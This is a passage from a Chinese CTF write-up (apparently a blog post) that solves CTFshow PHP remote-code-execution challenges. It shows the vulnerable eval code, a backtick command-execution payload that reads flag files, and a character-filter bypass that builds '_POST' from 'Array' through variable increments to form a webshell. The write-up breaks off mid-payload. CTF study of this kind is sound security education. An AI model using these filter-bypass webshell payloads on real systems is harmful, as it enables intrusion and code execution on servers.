CTFshow-RCE极限大挑战wp

文章详细介绍了多个PHP远程代码执行(RCE)的挑战,包括如何利用字符串替换、变量自增、浮点数NAN和INF构造payload来绕过限制,以及使用gettext扩展函数来转化字符串。每个挑战都解析了payload的构造过程和原理,展示了在安全攻防中对PHP语法深入理解和利用的重要性。

CTFshow-RCE极限大挑战

在这里插入图片描述

RCE1

题目代码

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

利用post发送,payload:

code=echo `$_POST[1]`;&1=cat /f*

RCE2

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
   
   
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
   
   
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
   
   
            eval($ctfshow);
        }else{
   
   
            echo("Are you hacking me AGAIN?");
        }
    }else{
   
   
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号,可以用的符号有'[]()$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>

应该有部分人跟我一样,刚开始看这个东西是一脸懵,不知道是什么,我在这来详细解释一下
所有的$_以及类似的东西都是变量名称,在构造payload的过程就就是起到一个变量名的作用,类似于$a、$b,在然后在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,例如在下列代码中

<?php
$a='';
$a = $a.[];
var_dump($a);
?>

$a为一个空格字符,在经过连接后接入了一个数组[],即使这个数组里面什么也没有,但是在执行之后我们依然可以得到
在这里插入图片描述
于是利用这一点,我们可以得出Array中的第一个字母A,然后利用自增来得到POST
所以我们可以得到初始payload:

ctf_show=$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值